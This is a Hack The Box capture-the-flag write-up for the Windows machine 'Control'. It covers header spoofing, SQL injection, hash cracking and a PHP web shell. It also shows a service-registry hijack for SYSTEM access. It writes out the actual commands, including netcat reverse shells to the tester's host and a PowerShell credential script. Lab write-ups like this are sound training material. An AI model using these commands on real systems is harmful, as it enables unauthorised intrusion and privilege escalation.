Hack The Box - Control Writeup

System Summary

Initial Enumeration

Being it a windows box, let's start with enum4linux but no results:

So turn to nmap:

Standard enumeration (rpcclient, smbclient etc..) doesn't give any valuable result.

Also connecting to MySQL/MariaDB is not permitted.

So let's open the Web site...

There is an admin login page, or it should be, but there is a message stating that a Header is missing... and this header should be related to a proxy... Mmmh

Before firing up Burp, let's look through the source page index.php:

The red lines look interesting

So let's build our Burp Intruder setup like this:
- use Sniper attack type
- add the burp special symbols followed by : 192.168.4.28
- put just the proxy related  header in the payload creation (it will substitute the special symbols)

And then start the attack with results:

It seems that adding a custom header like X-Forwaded-For: 192.168.4.29 to the request, the web server replies with a full page and not with an error message.

Now we should add this header directly in every request by our browser. We can do it with Burp Proxy options:

And we can get to the admin URL:

This page gives has many sub links that are reached through POST requests.

Keep in mind that all requests must go through Burp, which has to add the custom Header X-Forwarded-For.

Initial Foothold

The pages that we can try to test for SQL Injection are the following

• search_products.php

• view_product.php
• update_product.php
• delete_product.php
• create_product.php

• create_category.php
• update_category.php
• delete_category.php

All the POST have a number of parameters, so let's go in Burp Proxy and save the request text into separate files.
Then we can use the file with sqlmap using -r option

After trying them, it seems that search_products.php is prone to SQL Injection

And it seems a pretty straightforward ' UNION injection

We can discover the table names with a query like:

With this injection

We can get three users (root, manager and hector) and three hashes

One of the hashes can be cracked with hashcat and rockyou:

Which should be the password for hector: l33th4x0rhector

But it doesn't seem working with usual tools like rpcclient, smbclient, WinRM...

So let's follow another path...

Why not uploading a crafted php file in c:\inetpub\wwwroot ?

This can the be called with an argument cmd to execute commands (below the result of command dir)

With this php "helper" we can execute arbitrary commands like

• create c:\temp
• xcopy  a nc.exe from remote share
• execute this nc to open a reverse shell

So we now have a shell as iusr  (the user running IIS service) which has low level privileges.

User Flag

If we look in c:\users\ we find a home folder for user hector, but we have a password l33th4x0rhector from previous SQL Injection.

The next and obvious step is to run a shell as hector using his credential, but it's not that easy.
Direct commands such as "runas" and "psexec" require interaction or don't work properly: we have to user poowershell.

Let's open another listner on our local computer (10.10.16.78) listening on port 5555 .

Then open powershell on Control box, and run this sequence oc commands:

$pass = ConvertTo-SecureString "l33th4x0rhector" -AsPlainText -Force

$Creds = New-Object  System.Management.Automation.PSCredential("Fidelity\Hector",$pass)

Invoke-Command -Computer Fidelity -Credential $Creds -ScriptBlock { cmd.exe "/c C:\temp\nc.exe -e c:\windows\system32\cmd.exe 10.10.16.78 5555" }

We then receive a shell as hector and can get the user flag

Root Flag

We're now in as hector and we can get his group membership

Nothing interesting, AFAIK.

After some digging in the system I came across the powershell history located in C:\users\hector\appdata\Roaming\microsoft\Windows\Powershell\PSReadline\

There are two hints that are related to registry section of Windows Service

 Indeed Hector has "Full Control" access to that part of the registry.

This means that hector can change the setup of services.

We have to look for services that execute .exe file that are not  svchost (we don't want to mess up with it)
With some powershell commands like

get-item HKLM:\SYSTEM\CurrentControlSet\services\*  2>$null|Get-ItemProperty -Name "ImagePath" 2>$null| select -property  PSChildName,"ImagePath" 2>$null| ?{$_.ImagePath -like "*.exe*" }
|?{$_.ImagePath -NotLike "*svchost.exe*" } | ft

• PSChildName is important because we use it to reference the service in sc.exe
• ImagePath is important because it's the path of executable that the service runs.

This properties are already filter to only show services that has an executable ImagePath and excluding svchost.exe because we don't want to mess up the system

PSChildName is important because we use it to reference the service in sc.exe tool
ImagePath is important because it's the path of executable that the service runs.

By extracting the first column (name of the service) we can use "sc.exe query" to test the services hector has access to (manually or scripted way)

It happens that hector has lots of access denied except for a few services (AppVClient, EFS, MSDTC, RSoPProv, sppsvc...)

We

We can therefore choose one of these services and see its running state:

We can use a powershell command get-item to get full configuration EFS service (there is a reason I chose EFS, see later).
When it is started it run lsass.exe

We can change the ImagePath to another value that can be more useful for us, like a netcat shell on port 6666

set-itemproperty -Path "HKLM:\SYSTEM\CurrentControlSet\services\EFS" -Name "ImagePath" -Value "c:\temp\ncat.exe 10.10.16.78 6666 -e c:\windows\system32\cmd.exe" 

And then check the setup is changed with get-item command:

I chose EFS after some testing: some other services were already running (not willing to mess with them), others had a windows security protection: I was able to change their ImagePath, but as soon as I started them Windows terminated them immediately with an
"Error 577: Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a filed that was signed incorrectly or damaged, or that might be malicious software from an unknown source."

Luckily EFS is not affected by this "signing protection"

Now it's time to open a listener on port 6666 on our local machine..

Start the EFS service with:

If everything goes well, we should get back a shell as "NT authority\system" and get the root flag: